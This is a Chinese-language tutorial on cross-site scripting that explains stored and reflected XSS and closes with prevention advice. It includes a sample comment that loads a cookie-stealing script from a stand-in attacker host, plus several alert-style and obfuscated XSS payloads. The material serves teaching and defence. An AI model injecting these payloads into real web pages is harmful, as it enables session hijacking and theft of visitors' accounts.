什么是跨站点脚本(XSS)

跨站点脚本(XSS)是一种常见的攻击媒介,它将恶意代码注入易受攻击的Web应用程序。 XSS与其他Web攻击媒介(例如SQL注入)的不同之处在于,它不直接针对应用程序本身。相反,Web应用程序的用户才有风险。

成功的跨站点脚本攻击可能会对在线企业的声誉及其与客户的关系造成毁灭性的后果。

根据攻击的严重性,用户帐户可能会受到攻击,特洛伊木马程序会被激活,页面内容也会被修改,从而误导用户自愿放弃其私人数据。最后,可以显示会话Cookie,从而使作案者能够冒充有效用户并滥用其私人帐户。

跨站点脚本攻击可以分为两种类型:存储和反映。

存储的XSS(也称为持久XSS)是两者中更具破坏性的。当恶意脚本直接注入易受攻击的Web应用程序时,就会发生这种情况。

反映的XSS涉及将恶意脚本从Web应用程序反射到用户的浏览器上。该脚本嵌入到链接中,并且仅在单击该链接后才被激活。

什么是跨站点脚本存储

为了成功执行存储的XSS攻击,作案者必须在Web应用程序中定位漏洞,然后将恶意脚本注入其服务器(例如,通过comment field)。

xss

存储的XSS示例

最常见的目标之一是允许用户共享内容的网站,包括博客,社交网络,视频共享平台和留言板。 每次查看受感染的页面时,恶意脚本都会传输到受害者的浏览器。

在浏览电子商务网站时,作案者发现了一个漏洞,该漏洞使HTML标签可以嵌入网站的comments部分。嵌入式标记成为页面的永久功能,每次打开页面时,浏览器都会将其与其余源代码一起解析。

攻击者添加了以下评论:Great price for a great item! Read my review here <script src=”http://hackersite.com/authstealer.js”> </script>

从现在开始,每次访问该页面时,注释中的HTML标记都会激活一个JavaScript文件,该文件位于另一个网站上,并且能够窃取访问者的会话Cookie。

攻击者可以使用会话Cookie来破坏访问者的帐户,从而轻松地访问其个人信息和信用卡数据。同时,可能甚至从未向下滚动到评论部分的访问者也不知道发生了攻击。

与反射攻击不同,在反射攻击中,单击链接后便会激活脚本,而存储的攻击仅要求受害者访问受感染的网页。这增加了攻击的范围,威胁到所有访客,无论其警惕程度如何。

从犯罪者的角度来看,持久性XSS攻击相对较难执行,因为很难找到被贩卖的网站和具有允许永久脚本嵌入的漏洞的网站。

常见的XSS示例

<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>click me!</b>
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
<IMG SRC=j&#X41vascript:alert('test2')>
# 将脚本编码为base64并将其放置在META标签中
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

如何防止XSS攻击

通常,有效地防止XSS漏洞可能涉及以下措施的组合:

  • 到达时过滤input。 在接收到用户input时,应根据预期或有效input尽可能严格地进行过滤。
  • 在输出上编码数据。 在HTTP响应中输出用户可控制的数据时,请对输出进行编码,以防止将其解释为活动内容。 根据输出上下文,这可能需要应用HTML,URL,JavaScript和CSS编码的组合。
  • 使用适当的headers。 为了防止HTTP响应中不包含任何HTML或JavaScript的XSS,可以使用Content-TypeX-Content-Type-Options headers来确保浏览器按照您想要的方式解释响应。

Cross site scripting (XSS) attacks